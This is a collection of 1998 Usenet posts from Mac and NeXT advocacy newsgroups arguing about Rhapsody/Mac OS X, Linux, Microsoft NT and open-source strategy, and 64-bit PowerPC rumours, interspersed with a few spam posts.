References: <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net> <slrn73sj8q.ktf.josh@vortex.nyu.edu> <adtF1v5q2.K8I@netcom.com> <6F67F672E3346914.117F6585BE7B2CAB.2ABD1BFAF772578C@library-proxy.airnews.net>
Date: Wed, 4 Nov 1998 06:57:16 GMT
Sender: adt@netcom16.netcom.com
Sheldon Gartner (a1050pi@yahoo.com) wrote:
: adt@netcom.com (Anthony D. Tribelli) wrote:
: >On Sat, 24 Oct 1998 16:00:22 GMT, Sheldon Gartner wrote:
: >> Port a boatload of Mac apps to Linux and sell Apple hardware with
: >> Linx-preinstalled (I don't know if it'd be best for them to be
: >> duel-boot or not.)
: >
: >Why? What you seem to be asking for is very close to Rhapsody. A UNIX core
: >with a credible consumer GUI and shrink wrapped retail apps (in addition
: >to the UNIX tools and apps for those interested).
:
: Ok. But something needs to be done NOW.
They are working on Rhapsody (renamed MacOS X) now. :-) I've seen betas of
very complicated games running in the beta blue box (MacOS emulator - for
legacy apps) on the beta Rhapsody. IMHO, an extremely positive omen with
respect to compatibility.
: Apple can't afford to dither while Linux grows up. It needs to produce
: its own distributuion that is REALLY easy to install (even easier than
: Red Hat) even on old PCs.
:
: They could make a mint off of service alone.
I guess my point is that a credible consumer GUI for Linux and a complete
set of configuration tools that hide the "ugly details" from novices isn't
going to happen any time soon. That such a Linux would not appear before
Rhapsody. Also, such a "friendly" Linux would undercut and severely
devalue Rhapsody.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com>
<71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com>
<71oqsc$gkb@news1.panix.com>
Message-ID: <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com>
Date: Wed, 04 Nov 1998 07:04:46 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 23:04:46 PDT
Organization: @Home Network
In <71oqsc$gkb@news1.panix.com> Sal Denaro wrote:
> The worst thing Apple could do is turn this into another OS/2. A great OS
> that lacked software and marketing.
>
>
Absolutely, agreed for now. Sun has Apple by the cajones with Lighthouse's
Best of Breed software on the platform sitting in a vault. NeXT paradigm
shifts killed off sucessful legacy apps. So Apple either migrates existing
Macintosh apps (MSOffice et. al.) or incentivates new O-O designs. In a
networked society, the strategic importance of client-side apps is
deemphasised. Long term API's, protocols and standards prevail over apps.
> >You're the CIO... you have to choose your technology platform for the
next 5
> >years. I just read the historical facts. Who you gonna bet your company
> >on? Sun, MS, IBM, Apple? What are your undeniable facts to justify your
> >position?
>
> Today? Sun in the server room and NT on the desktop.
>
>
Smart...
> Three years from now?
> I don't know, but I hope that OSX will be a credible choice then.
>
>
Which brings us full circle back to Sun and NT... they don't go away. If
OSX isn't an NT killer, Apple "server" plans don't scale. And if they don't
scale? Who wants to develop YB/Java API's only to rewrite to PureJava for
scalability later?
> As much as I like Rhapsody, I would not choose it as the technology
platform
> for my hypothetical company if it was available today.
>
>
The next question is key. What would change your mind to use it today?
> I probably would allow
> it to be used on some internal projects. DR2 is being used that way in a
> couple of companies.
>
>
The answer is interesting because OSX is compared to Sun, NT and its not at
all "clear" that you are hedging on hardware or the software...
> >See... you really think Apple has 3-5 years to ramp-up their OSX product
> >plan?
>
> Do you think that they could ramp up in less than that?
>
>
Yeah!
> You can't just wave
> a magic wand and grow a network of VARs and consultants or a library of
3rd
> party apps. And without that infrastructure, you can not sell to that
market.
>
>
I'm not Jobs. I don't mind grovelling to get what I want. It might be
beneath Jobs to seek success other than with his own hand. Therein lies the
bump in the OSX marketing plan. Shed ego's. Then Apple is free to stop
name associations with the likes of SONY and actually merge or partner with
Linux, Sun, Sony, etc... The potentials are mind numbing. And the magic
wand could work in an advertising Blitz to get notice that Mac is Back:-)
-r
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 2 Nov 98 13:15:49 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B263610E-179AA@206.165.43.141>
References: <71l1mc$e2o$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.next.advocacy
milo_mklinux@my-dejanews.com said:
>> --Sean, who's writing this *ON* a Newton MessagePad 2000, and who just
>> coded his first Newton app, a complex Chinese input system, in just
three
>> evenings after poking around with a radically unusual language
>> (NewtonScript) and a totally different development environment (Newton
>> Toolkit). Let's see a new WinCE developer do *that*.
>
>Please forgive my asking, but why are you developing products for a dead
>platform?
Because he wants to deal with Newton customers?
Why am I developing a product using a dead graphics library?
Because *I* can also deal with existing customers.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
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References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
<71o4se$lsc$1@nnrp1.dejanews.com>
Message-ID: <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>
Date: Wed, 04 Nov 1998 00:20:48 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 16:20:48 PDT
Organization: @Home Network
In <71o4se$lsc$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> In article <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> > In <71m90v$gsa@news1.panix.com> Sal Denaro wrote:
> >> WO4 can help them build the credibility they need to sell in that
market.
> >> It takes time to build an infrastructure. OSX is most certainly a long
> >> term plan.
> >
> > Right now OSX long term looks no more than a mini-truck in18 wheeler
land.
> > If OSX is gonna haul freight over the Internet with WO, it's gonna have
to
> > pull right along with Mack trucks like Sun, Linux and NT.
>
> I think you're confused if you regard NT to be a "Mach truck" of Internet
> transport.
>
>
This is elitist whinery... fact is, MS has gone overboard to promise
Industry after Industry that NT will support their missions. MS has
convinced Banking, Ecommerce and <your favorite> that NT will ship with
whatever IT managers need. Sadly, IT is deploying hardware infrastructure
and mission critical applications in anticipation of those promises
delivering on NT.
MS owns the enterprise market by spearheading development of their NT
product to "fit" needs of Industry. Of ALL targets to challenge NT is "Net
Transport".
I don't like the fact but at the highest levels of decision making, Industry
bets on MS. A bet for good reason.
-r
From: your@email.com
Newsgroups: comp.sys.next.advocacy
Subject: Take a look and see if its right for you
Date: 2 Nov 1998 17:02:41 GMT
Organization: Your Organization
Message-ID: <71kojh$b4s$1655@geraldo.cc.utexas.edu>
****************************************************************
* Posted by Newsgroup AutoPoster! It's NOT registered yet! *
****************************************************************
please take a look and see if you are intrested
http://freedomstarr.com/?fo8169700
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: UNIX outpaces NT
Date: 3 Nov 1998 22:12:09 GMT
Organization: Primenet (602)416-7000
Message-ID: <71nv3p$jfv$1@nnrp03.primenet.com>
References: <71a2ln$195@newsb.netnews.att.com> <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com> <rdm-0111980905280001@140.174.42.30> <7eu%1.13046$yb5.11042283@news.rdc1.sdca.home.com> <71lvgk$cr7$1@nnrp02.primenet.com>
<0cH%1.13166$yb5.11439671@news.rdc1.sdca.home.com> <71nhf7$r73$1@nnrp02.primenet.com> <j%J%1.13178$yb5.11558948@news.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com> wrote:
: In <71nhf7$r73$1@nnrp02.primenet.com> John Jensen wrote:
: > I think it is a little more clean-cut for that product. People who
: > want to run Server cheaply think they are tough guys. They shouldn't
: > have a problem with reading TFCD. Non-tough guys would buy a support
: > option.
: That's generous... all the tough guys went through the program during NeXT
: days ± and left (except <personal list>). The Breed of Cat coming into OS X
: server are primadonna's. They have MacSuccess, MacCashflow, MacClout and
: MacMBA's in software. This group has expectations, product plans and a
: market.
By this group do you mean the Certified Developers who have Rhapsody now?
It has been a source of frustration (or bemused cynicism, depending on my
mood) that Apple has not looked for early adopters outside that group. The
tough guys were the first ones to code Java applets or to install Linux,
and they got the ball rolling.
Again, seriously, did Apple want the ball to roll?
: OSX server will have to _mesh_ with their enterprise. It's up to Apple to
: get the mesh-age right. They aren't going to let 2-3 programmers pound on
: OSX for six months RTFMstyle. They're going to come at OSX server from the
: same perspective they leave MacOS Carbone. So there's a great deal of OSX
: infrastructure for Apple to put in-place, yet.
Sure, because by the end of '98 we're right up against it. The time for
tough guys is past, and Apple forgot to buy them a beer.
: Alluding to the tough guys that will run OSX on the cheap, catches that 3%
: early adopter's. Garage projects, one-offs and upstarts fall into this
: category. That's clean-cut for them and RTFCD works for them. OSX server
: is a Tier1 product from a Fortune company led by a man that Fathered them
: BOTH.
I'm will to accept the 3% number, but the important thing is that they
were supposed to be the first 3% in the door.
: Job's has been through the "tough guys" and is all too familiar with the
: "cult and guru" stigma that comes with that.
You and I must know different tough guys ... if your set likes gurus.
John
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Mon, 02 Nov 1998 15:59:15 -0600
Organization: Inc.Net http://www.inc.net
Message-ID: <363E2B33.6DE03F16@milestonerdl.com>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com>
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Robert Fovell wrote:
> Part of that could be the fact that Microsoft has 90+% of the market. But, in
> my inexpert opinion just having the dominant position does not necessarily
> imply evil has been, or will be, done. It says more about Apple's unfortunate
> history of lapses, failures and broken promises. Mac users know these things
> better than anyone else. We don't need windroids to remind us of them.
You should also add Newton vertical developers who know what a lousy
business partner Apple is. Same for OpenDoc developers.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 4 Nov 98 01:37:39 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2656065-215B4@206.165.43.138>
References: <1dhxbcq.avv9tl1phx79bN@roxboro0-024.dyn.interpath.net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy
John Moreno <phenix@interpath.com> said:
>I'm not throwing stones or saying you should stop or that you won't end
>up creating something worthwhile - what I'm saying is that most people
>will see what you are doing as a dead end product (like developing
>something for the IIgs in '87). As you say in that last paragraph - it
>won't run under the next OS and instead of a expanding market you are
>catering to what will be a shrinking market. Most people don't want to
>do that.
Call it a philisophical statement. A few people will use it. A few people
will be smart enough to read between the lines and realize that the entire
community of users of Macintosh computers have been screwed bigtime and may
even complain.
GXFCN, once it is done, will be useful for a huge number of people, if they
chose to use it. Their loss if they don't try it. If they try it and like
it and don't cordially invite Apple to rethink their decision to kill GX
under 8.6, then that's their loss again.
I mean, ONLY Apple can attempt to spin the loss of MacOS technology that
has happened in the past few years as a good thing.
Pardon me if I disagree...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Jin Kim" <kwazyjin@hotmail.com>
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <F1t9z3.Bq3@T-FCN.Net> <B2637101-538D4@206.165.43.141>
Subject: Re: Power3 = 64-bit G4? (Was Question on G4)
Message-ID: <Ufq%1.4718$fS.15509173@news.itd.umich.edu>
Date: Mon, 2 Nov 1998 17:18:52 -0500
NNTP-Posting-Date: Mon, 02 Nov 1998 17:21:40 EDT
Lawson English wrote in message ...
>The 601 was a transitional CPU between the POWER and PowerPC architectures.
>The 603 was a low-end, low-cost 32-bit implementation of PowerPC and the
>604 was a higher-end, 32-bit implementation. The 620 is an implementation
>of the 64-bit PowerPC architecture, and, AFAIK, has nothing to do with
>POWER2 except some ISA overlap (and whatever reuse they could get from the
>POWER2 design). The 620 isn't a POWER2 on a chip or anything like that,
>AFAIK. It's just the first 64-bit PPC.
>
>----------------------------------------------------------------------
>Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
>----------------------------------------------------------------------
Well I guess I didn't phrase my question the right way. My question was not
about wheather or not Power3 and 64-bit G4 is one in the same processor, but
if the rumors of 64-bit G4 was actually rumors on Power3 but was reported as
being 64-bit G4. (i.e. There is no 64-bit G4 in the works) It just seems
like the rumors I've heard are consistant with Power3 processor and thought
perhaps I was hoping for too much thinking that I'll be able to buy a 64-bit
G4 PowerMac in little more than a year as the rumors indicate. I guess my
thoughts on it also stems from my new opinion that Apple doesn't necessarily
have to have a 64-bit answer to Intel's Merced processor. Also I would
think that IBM would see even less need for 64-bit PowerPC based on the fact
that they already have a proven 64-bit solution for their needs in POWER
processors and others.
So, is multi-cored 64-bit G4 processor a reality or just misplaced rumor?
Is 64-bit G4 PowerMacs in the short future a reality (since 620 never found
its way into a PowerMac)? And if 64-bit G4 is a reality, when can we expect
to see Apple annouce its plans for a 64-bit OS? Would OS X be such an easy
transition (port) to a 64-bit version that Apple could get it done in little
more than a year (based on supposed arrival time of 64-bit G4)? Uncertainty
on 64-bit computing in the Macintosh world is making me somewhat uneasy.
- Jin
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 4 Nov 98 01:38:25 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2656094-220B5@206.165.43.138>
References: <slrn73utsj.512.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy
Jason S. <jason@jhste1.dyn.ml.org> said:
>Universally available? Can I get HyperTalk for Linux/PowerPC?
You've got TCL, don't you?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael <michael@iconics.co.uk>
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.unix.advocacy,de.comp.sys.amiga.advocacy
Subject: OS Advocacy/Rating/Locating site
Date: Wed, 04 Nov 1998 12:28:57 +0000
Organization: Cable Internet (post doesn't reflect views of Cable Internet)
Message-ID: <36404889.A2E4CB64@iconics.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: 4 Nov 1998 12:29:42 GMT
Site allows rating of your OS. Search OS ratings by geographical area.
Takes about 30 seconds to complete the 4 questions (2 listboxes, 1 edit box and
a radio button).
If you link to the site from yourown page, it creates a link back to your page
for others to access, whenever someone accesses my site from yours (aka you
link me, I link you).
The address is:
http://www.oscounter.org
Thanx
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 2 Nov 98 17:27:48 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2639C1A-F592C@206.165.43.141>
References: <71l9ks$5r9$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
John Jensen <jjens@primenet.com> said:
>Apple talks to Apple Developers. Those are a select crew who wait for
>each technological advancement from Apple. Does that make it too
>difficult for them to know what the rest of us are thinking?
As far as I know, Apple doesn't really talk to "Apple Developers" (as of
last week, I am once again amongst those rarified ranks) but only to the
"Top 100" Apple Developers.
Coincidentally, nearly all of these have cross-platform applications, so
the needs of the Apple-only Developer and the Top 100 Developer are likely
NOT at all the same.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: info@vbssmmae.fun
Subject: bestore.com º¸Çè»óÇ°¾È³»
Organization: ATworld
Message-ID: <1309437472832896@vbssmmae.fun>
Newsgroups: comp.sys.next.advocacy
Date: Tue, 03 Nov 1998 00:31:00 +0900
ÇÕ¸®ÀûÀÎ°í °æÁ¦ÀûÀÎ ¼±ÅÃÀ» ÇϽʽÿÀ<== http://www.bestore.com ÀÇ ¾à¼ÓÀÔ´Ï´Ù.
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http://www.bestore.com http://www.bestore.com http://www.bestore.com
---
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From: gdwarnernyet@ricochet.net (Glen Warner)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Wed, 04 Nov 1998 05:58:00 -0800
Organization: GlenTech
Message-ID: <gdwarnernyet-0411980558010001@mg-20664222-26.ricochet.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com> <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net> <cirby-0311981225280001@pm61-13.magicnet.net> <1dhx9ra.ga26bc1hq6zluN@roxboro0-024.dyn.interpath.net>
In article <1dhx9ra.ga26bc1hq6zluN@roxboro0-024.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
(*snip*)
> Yeah, but at least with MS if you get it out soon enough and gain a
> large enough market share you can hope to be bought out instead of just
> abandoned.
>
> --
> John Moreno
I dunno ... I seem to remember reading of some small developer attempting
to sell his program to Microsoft and a Microsoftie, looking at the source
code, said "Hmmmm ... this is pretty simple. We'll just write our own and
crush you."
Still, hope springs eternal, I guess ....
--gdw
--
Remove the 'nyet' from the e-mail address, and you'll be all set.
(%*#$&! spammers ....)
From: jq@papoose.quick.com (James E. Quick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 4 Nov 1998 08:34:37 -0500
Organization: Quick and Associates
Message-ID: <71pl5d$cec@papoose.quick.com>
References: <71l58n$oh5@newsb.netnews.att.com> <slrn73s78a.5lu.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net>
In article <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net>,
Craig Koller <ckoller@worldnet.att.net> wrote:
>What's really disturbing is the memo's call for "decommoditizing"
>protocols and applications. Basically it hilights MS' attempts to create a
>Microsoft *brand* of P's and A's that infects (and that's an accurate term
>for it) the OS and the internet. They're going to try and pull things into
>as much a proprietary sphere is they can possibly manage.
>
>I sincerely hope this motivates the OSS powers that be to work that much
>harder.
>
>You can't fault MS for trying to protect its assets, but to do so at the
>expense of end users and server users they way they're currently
>considering is about one millimeter away from pure evil...
This "Embrace and Extend" philosophy is heinous. Look what happened
with Kerberos5.
Microsoft declared that it would support kerberos in NT5. They
even participated in the standards setting for Kerberos. Kerberos5
had well documented hooks for adding new functionality without
affecting the functionality of any other tools which comply with
the standard.
Microsoft, then stated that they intended to 'extend' the protocol.
They did so in ways that deliberately break the standard, but also
said they would document their extension publicly when NT5 went
beta. Finally, they then said that because their changes are
closely wedded with other proprietary systems that they would not
make their extensions public.
So, they play buzzword politics with the world by adopting the
world's best authentication system, and take immediate steps to
ensure that other clients will not work correctly with their servers
and that other servers cannot serve their clients.
Computing is not a zero sum game. Microsoft plays it that way.
By adhering to portable standards everyone wins, users, developers
and service providers. By implementing non-standard, proprietary
protocols everyone but Microsoft itself loses. In the cases of
Java and Kerberos, Microsoft played a despicable kind of game. They
tried to crush detractors by claiming to support the best technologies
that everyone wants, while at the same time ensuring that once
people start using Msoft's implementation everyone else loses.
Oh, they say innocently while batting their eyes, we added
functionality, we are innovating... In a word, bullshit. Whether
it can be shown that they violated laws is beside the point. Lying
and CO-opting others work in ways that reduce its value to the world
at large sucks. It's like clear cutting the Pacific Northwest or
Strip-mining Yellowstone. Profit, yes, but make the world a better
place to be. Where do you want to go today? Away from sons of
bitches like them.
Microsoft effectively steals the intellectual property of those
whose goals are to improve the lot of everyone, and both increases
their own position and reduces the functionality for the
rest of the world - because of the newly introduced loss of
interoperability.
For the most part I have always been more fond of the BSD license
than Copyleft. People deserve to profit from the fruits of their
labor, and Copyleft sometimes gets in the way of that. To me the
difference is more than just economic. Copyleft assumes that people
need to be protected from the unethical people in our midst. BSD
assumes the basic goodness of others. Sadly, Microsoft shows that
sometimes Stallman was right.
Zero sum game vs. providing benefit to users, that's the only real
issue. One can make a fine living, either as an individual or
a corporation, without making the world a worse place. One cannot
legislate morals, and I hate it when I see folks try to do so.
That does not mean that either corporations or individuals should
be unethical. Microsoft is precisely that. They make the world
a poorer place by what they develop and how they develop it.
It's one of the reasons I have always loved NeXTStep. It's always
been an environment of cooperation. One developer writes a neat
piece of code - commercial or otherwise, and users of every other
piece of code get to leverage it via services. Everyone wins. In
a way it's an ethical operating system.
Sorry for rambling on.
--
___ ___ | James E. Quick jq@phcs.com
/ / / | Private HealthCare Systems NeXTMail O.K.
\_/ (_\/ | Systems Engineering Group (617) 895-3343
) | "I think not," said Rene Descartes. Then he vanished.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Wed, 04 Nov 1998 14:25:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71po48$ps5$1@nnrp1.dejanews.com>
References: <71l58n$oh5@newsb.netnews.att.com> <jpolaski-0211981657410001@d149-220.ce.mediaone.net> <cirby-0211981911060001@pm51-27.magicnet.net> <ch3-0311981913160001@ip63.seattle13.wa.pub-ip.psi.net>
ch3@earthlink.net (CaHand) wrote:
> While OpenSource software enthusiasts feel a big dose
> of validation from this thing, they play right into MS's
> defense: WE ARE NOT A MONOPOLY. WE DO NOT HINDER MARKET
> INNOVATION.
> So OpenSource software, while giving themselves a big
> pat on the back, will provide Microsoft exactly what they
> need.
I'm not so sure about that. All that talk in there about "de-commoditizing"
protocols etc sounds exactly like the DOJ's case. Yes, they show that there's
innovation, but then they immediately start discussing how to use their market
power to subvert that innovation.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: sdenbes1@san.rr.com (Steven C. Den Beste)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.unix.advocacy,de.comp.sys.amiga.advocacy
Subject: Re: OS Advocacy/Rating/Locating site
Message-ID: <36447464.2739064@news-server>
References: <36404889.A2E4CB64@iconics.co.uk>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Wed, 04 Nov 1998 07:37:25 -0800
NNTP-Posting-Date: Wed, 04 Nov 1998 07:37:27 PDT
Organization: TWC Road Runner, San Diego, CA
On Wed, 04 Nov 1998 12:28:57 +0000, Michael wrote this in jello with a
chisel:
>Site allows rating of your OS. Search OS ratings by geographical area.
>
>Takes about 30 seconds to complete the 4 questions (2 listboxes, 1 edit box and
>a radio button).
>
>If you link to the site from yourown page, it creates a link back to your page
>for others to access, whenever someone accesses my site from yours (aka you
>link me, I link you).
>
>The address is:
>
>http://www.oscounter.org
>
>Thanx
Holy Cow! The *ULTIMATE* beauty contest poll!
It's gonna have no meaning whatsoever, you realize, because it will be a
self-selected sample.
Now let's all go stuff some ballot boxes! Vote early and vote often!
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 4 Nov 1998 15:48:17 GMT
Organization: Primenet (602)416-7000
Message-ID: <71pt01$i67$2@nnrp02.primenet.com>
References: <71l58n$oh5@newsb.netnews.att.com> <jpolaski-0211981657410001@d149-220.ce.mediaone.net> <cirby-0211981911060001@pm51-27.magicnet.net> <ch3-0311981913160001@ip63.seattle13.wa.pub-ip.psi.net> <71po48$ps5$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
: I'm not so sure about that. All that talk in there about "de-commoditizing"
: protocols etc sounds exactly like the DOJ's case. Yes, they show that there's
: innovation, but then they immediately start discussing how to use their market
: power to subvert that innovation.
That's my read of the document as well. I doubt that a paper which so
clearly defines an anti-standards strategy would be leaked by "their
side."
John
Newsgroups: comp.sys.powerpc.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Power3 = 64-bit G4? (Was Question on G4)
Message-ID: <cdoutyF1tsJL.L5p@netcom.com>
Sender: cdouty@netcom.netcom.com
Organization: Netcom Online Services, Inc.
References: <F1t9z3.Bq3@T-FCN.Net> <B2637101-538D4@206.165.43.141> <Ufq%1.4718$fS.15509173@news.itd.umich.edu>
Date: Tue, 3 Nov 1998 03:04:33 GMT
In article <Ufq%1.4718$fS.15509173@news.itd.umich.edu>,
Jin Kim <kwazyjin@hotmail.com> wrote:
>
>Lawson English wrote in message ...
>>The 601 was a transitional CPU between the POWER and PowerPC architectures.
>>The 603 was a low-end, low-cost 32-bit implementation of PowerPC and the
>>604 was a higher-end, 32-bit implementation. The 620 is an implementation
>>of the 64-bit PowerPC architecture, and, AFAIK, has nothing to do with
>>POWER2 except some ISA overlap (and whatever reuse they could get from the
>>POWER2 design). The 620 isn't a POWER2 on a chip or anything like that,
>>AFAIK. It's just the first 64-bit PPC.
>
>Well I guess I didn't phrase my question the right way. My question was not
>about wheather or not Power3 and 64-bit G4 is one in the same processor, but
>if the rumors of 64-bit G4 was actually rumors on Power3 but was reported as
>being 64-bit G4. (i.e. There is no 64-bit G4 in the works)
I would suspect that there is a 64-bit Generation 4 (G4) PPC in the works
at IBM. The PPC620 is used in their AS/400 machines, which are fairly
popular. In fact OS/400 relies on certain PPC features and the 64-bit
implementation AFAIK.
This does not mean that the supposed 64-bit G4 would be used or even be
suitable for Macs. Apple has released essentially zero information on
any 64-bit OS plans. What they did say seemed related to Rhapsody and
its successors in a nebulous future.
>Uncertainty
>on 64-bit computing in the Macintosh world is making me somewhat uneasy.
Why? As it's been pointed out there are few tasks which a desktop can be
expected to handle which require 64-bit pointers or integers. Large file
access does not require 64-bit hardware. mmap()ing a large file might.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: About Linux, and OS-X
Date: 3 Nov 1998 01:20:16 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <71llog$l6v$6@blue.hex.net>
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com> <1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de>
NNTP-Posting-Date: 3 Nov 1998 01:20:16 GMT
On Sat, 31 Oct 1998 12:35:29 +0100, Dirk Theisen <theisen@akaMail.com> wrote:
>Chris Douty <cdouty@netcom.com> wrote:
>> Notice that the gnuStep project has been
>> limping along at a snail's pace while KDE and GNOME move along more
>> quickly?
>
>...until recently. Look at gnu.gnustep.discuss. They make tremendous
>progress every week and the people working on it are extremely bright
>and experienced guys.
I don't see too much "action" there.
I'd certainly be pleased to see some traffic.
And if there were a couple of small, but useful GNUStep applications
available, that would go a long ways towards attracting development
attention.
--
It is interesting to note that before the advent of Microsoft Windows,
`GPF' was better known for its usage in plumbing: "Gallons Per Flush"
-- dedmonds@aw.sgi.com (Dean Edmonds)
cbbrowne@hex.net- <http//www.ntlug.org/~cbbrowne/xwindows.html>
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 4 Nov 1998 16:33:24 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71pvkk$ql@newsb.netnews.att.com>
